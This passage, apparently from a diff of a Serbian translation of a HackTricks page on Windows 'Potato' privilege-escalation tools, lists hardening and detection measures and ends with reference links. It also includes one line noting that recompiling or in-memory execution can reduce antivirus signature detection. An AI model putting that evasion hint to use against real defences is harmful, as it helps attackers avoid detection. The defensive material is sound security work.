SYSTEM. -- Spooler hardening: Onemogućavanje Print Spooler servisa na serverima gde nije potreban sprečava PrintSpoofer-style lokalne eskalacije putem spoolss. -- Service account hardening: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmotrite pokretanje servisa pod virtualnim nalozima sa najmanje potrebnih privilegija i njihovo izolovanje koristeći service SID i write-restricted tokene kad je to moguće. -- Network controls: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može onemogućiti RoguePotato osim ako nije dostupan interni redirector. -- EDR/AV: Svi ovi alati su široko detektovani po potpisima. Rekompajliranje iz izvornog koda, preimenovanje simbola/stringova ili izvođenje u memoriji može smanjiti detekciju, ali neće pobediti pouzdane detekcije zasnovane na ponašanju. +- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, a zatim CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (process creation), 17/18 (named pipe created/connected) i komandne linije koje spawn-uju child processes kao SYSTEM. +- Ojačavanje spoolera: Isključivanje Print Spooler servisa na serverima gde nije potrebno sprečava PrintSpoofer-style lokalne prisile preko spoolss. +- Ojačavanje naloga servisa: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmotrite pokretanje servisa pod virtualnim nalozima sa najmanjim potrebnim privilegijama i izolovanje pomoću service SID i write-restricted tokens kad je moguće. +- Mrežne kontrole: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može prekinuti RoguePotato osim ako nije dostupan interni redirector. +- EDR/AV: Svi ovi alati su široko detektovani po potpisima. Recompiling from source, renaming symbols/strings ili korišćenje in-memory execution može smanjiti detekciju, ali neće zaobići robusne behavioral detections. ## References @@ -167,5 +168,7 @@ SigmaPotato dodaje moderne pogodnosti kao što su in-memory execution putem .NET - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) - [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato) - [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) +- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) {{#include ../../banners/hacktricks-training.md}}